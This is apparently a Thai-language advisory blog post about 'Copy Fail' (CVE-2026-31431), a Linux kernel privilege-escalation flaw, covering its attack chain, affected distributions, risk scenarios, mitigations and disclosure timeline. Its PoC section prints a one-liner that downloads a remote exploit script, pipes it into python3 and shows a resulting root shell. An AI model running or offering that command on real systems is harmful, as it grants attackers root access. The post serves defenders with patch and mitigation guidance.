← กลับไปที่รายการ

โค้ด 732 ไบต์เอาอยู่ทุก Linux: ช่องโหว่ระดับตำนานแอบซ่อนมาเกือบสิบปี

itadol5j

ช่องโหว่ Copy Fail

🚨 ช่องโหว่ระดับตำนาน: โค้ด 732 ไบต์เอาอยู่ทุก Linux แอบซ่อนมาเกือบสิบปี

มีการเปิดเผยช่องโหว่ใน Linux kernel ที่ชื่อว่า“Copy Fail”(CVE-2026-31431) ต่อสาธารณะ:

  • 732 ไบต์เป็นสคริปต์ Python
  • เชื่อถือได้ 100% ไม่ต้องอาศัยหน้าต่าง race หรือ kernel offset
  • กระทบ Linux ทุกดิสโทร (ตั้งแต่ปี 2017 เป็นต้นมา)
  • มี primitive หลุดจากคอนเทนเนอร์ และโจมตีข้าม tenant ได้
  • แอบซ่อนมาเกือบสิบปี ก่อนถูกเปิดเผยเมื่อ 29 เมษายน 2026

สคริปต์เดียวกันใช้ได้บนUbuntu, RHEL, Amazon Linux, SUSEทั้งหมดโดยไม่ต้องแก้ไข.

🎯 แก่นของช่องโหว่

ข้อบกพร่องเชิงตรรกะจุดเดียว

Copy Fail เป็นข้อบกพร่องเชิงตรรกะแบบตรงเส้น:

  • ไม่ต้องมี race window: ต่างจาก Linux LPE ส่วนใหญ่ที่ต้องอาศัย race
  • ไม่ต้องมี kernel offset: ไม่ต้องใช้ค่า offset เฉพาะของแต่ละ kernel
  • เชื่อถือได้ 100%: สำเร็จทุกครั้ง
  • สคริปต์เดียวกัน: ใช้ได้กับทุกดิสโทร

ห่วงโซ่การโจมตี

ห่วงโซ่การโจมตีของ Copy Fail:

  • บั๊กตรรกะ authencesn: บั๊กเชิงตรรกะหนึ่งจุด
  • AF_ALG: ผ่าน crypto API ของเคอร์เนล
  • splice(): เรียกแบบต่อเนื่อง
  • การเขียน page-cache 4 ไบต์: primitive สุดท้ายของการโจมตี
  • ใช้โจมตีได้มาเกือบสิบปี: ตั้งแต่ปี 2017 จนถึงการเผยแพตช์

📊 ขอบเขตผลกระทบ

ดิสโทรที่ได้รับการยืนยันอย่างเป็นทางการ

ดิสโทร เวอร์ชันเคอร์เนล สถานะ
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ ยืนยันแล้ว
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ ยืนยันแล้ว
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ ยืนยันแล้ว
SUSE 16 6.12.0-160000.9-default ✅ ยืนยันแล้ว

ดิสโทรอื่นที่ได้รับผลกระทบ

ดิสโทรต่อไปนี้ก็ได้รับผลกระทบเช่นกัน:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Linux แบบฝังตัว

สรุป: ถ้าเคอร์เนลของคุณถูกบิลด์ระหว่างปี 2017 ถึงก่อนแพตช์——คุณได้รับผลกระทบ.

💡 สถานการณ์เสี่ยงสูง

สถานการณ์ ความเสี่ยง ผลกระทบ
โฮสต์ Linux หลาย tenant สูง ผู้ใช้ใดก็ได้กลายเป็น root
Kubernetes / คลัสเตอร์คอนเทนเนอร์ สูง โจมตีข้ามคอนเทนเนอร์ ข้าม tenant
CI Runner / Build Farm สูง PR กลายเป็น root ของ runner
Cloud SaaS รันโค้ดผู้ใช้ สูง tenant กลายเป็น host root
เซิร์ฟเวอร์ Linux ทั่วไป กลาง LPE ภายใน โยงเป็นห่วงโซ่โจมตีได้
โน้ตบุ๊กผู้ใช้เดียว ต่ำ ขั้นตอน privilege escalation หลังเข้าถึงเครื่องได้

🔧 มาตรการบรรเทา

แผน 1: อัปเดตเคอร์เนล (แนะนำ)

อัปเดตเคอร์เนลไปยังเวอร์ชันที่มีmainline commit a664bf3d603d:

  • เนื้อหาการแก้ไข: ย้อนการปรับปรุง in-place ของ algif_aead ปี 2017
  • ผลลัพธ์: หน้า page-cache จะไม่ปรากฏใน destination scatterlist ฝั่งเขียนอีกต่อไป
  • สถานะ: ดิสโทรหลักส่วนใหญ่เผยแพตช์แล้ว

แผน 2: ปิดโมดูล algif_aead (ชั่วคราว)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

ผลกระทบจากการปิด algif_aead

คอมโพเนนต์ ผลกระทบ
dm-crypt / LUKS ไม่ได้รับผลกระทบ
kTLS / IPsec ไม่ได้รับผลกระทบ
OpenSSL / SSH ไม่ได้รับผลกระทบ
userspace ฝั่ง AF_ALG อาจได้รับผลกระทบ

สรุป: สำหรับระบบส่วนใหญ่ การปิด algif_aeadไม่มีผลกระทบที่เห็นได้ชัด.

แผน 3: ใช้ seccomp บล็อก AF_ALG

สำหรับ workload ที่ไม่น่าเชื่อถือ (คอนเทนเนอร์ แซนด์บ็อกซ์ CI) ให้ใช้ seccomp บล็อกการสร้าง AF_ALG socket:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 สาธิต PoC

PoC ของช่องโหว่เปิดเผยแล้ว เพื่อให้ defenders ใช้ตรวจสอบระบบ:

รันด่วน

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

รายละเอียด PoC

  • ขนาดไฟล์: 732 ไบต์
  • ภาษา: Python 3.10+ stdlib only (os, socket, zlib)
  • เป้าหมายเริ่มต้น: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

คำเตือน: สคริปต์แก้ไข page cache ของ setuid binary การเปลี่ยนแปลงจะไม่คงอยู่หลังรีบูต แต่ root shell นั้นเป็นของจริง ห้ามรันบนระบบ production

📅 ไทม์ไลน์การเปิดเผย

วันที่ เหตุการณ์
2026-03-23 รายงานถึง Linux kernel security team
2026-03-24 การยืนยันเบื้องต้น
2026-03-25 เสนอและตรวจทานแพตช์
2026-04-01 ส่งแพตช์เข้า mainline
2026-04-22 จัดสรร CVE-2026-31431
2026-04-29 เปิดเผยต่อสาธารณะ

🔍 ผู้ค้นพบ: Xint Code

ช่องโหว่ถูกค้นพบโดยXint Code:

  • เวลาสแกน: สแกน Linux crypto/ subsystem ราว 1 ชั่วโมง
  • วิธีค้นพบ: การตรวจสอบโค้ดด้วย AI
  • การวิเคราะห์ฉบับเต็ม: root cause, diagrams, operator prompt
  • ผลการค้นพบอื่น: ค้นพบช่องโหว่ความรุนแรงสูงอื่นพร้อมกันด้วย ยังอยู่ระหว่างการเปิดเผยแบบประสานงาน

ผลงานของ Xint Code

  • 0-day RCE: ZeroDay Cloud กวาดคลีนหมวดฐานข้อมูล (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: รอบชิงชนะเลิศ DARPA AI Cyber Challenge
  • DEF CON CTF 9×: ทีมที่ชนะ DEF CON CTF มากที่สุดในประวัติศาสตร์

📝 สรุป

Copy Fail (CVE-2026-31431) คือช่องโหว่ Linux kernel ระดับตำนาน:

  • โค้ด 732 ไบต์เอาอยู่ทุก Linux (ตั้งแต่ปี 2017)
  • เชื่อถือได้ 100% เป็นข้อบกพร่องเชิงตรรกะจุดเดียว
  • หลุดจากคอนเทนเนอร์ โจมตีข้าม tenant ได้
  • แอบซ่อนมาเกือบสิบปี ก่อนเปิดเผยเมื่อ 29 เมษายน 2026
  • สถานการณ์เสี่ยงสูง: โฮสต์หลาย tenant คลัสเตอร์คอนเทนเนอร์ CI Runner, SaaS
  • การบรรเทา: อัปเดตเคอร์เนลหรือปิด algif_aead
  • ผู้ค้นพบ: Xint Code ตรวจสอบโค้ดด้วย AI

ช่องโหว่ระดับตำนานที่ซ่อนมาเกือบสิบปี สคริปต์เดียวเอาอยู่ทุก Linux

เว็บไซต์ช่องโหว่:https://copy.fail

GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431

วิเคราะห์เชิงเทคนิค:https://xint.io/blog/copy-fail-linux-distributions

Kernel patch:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5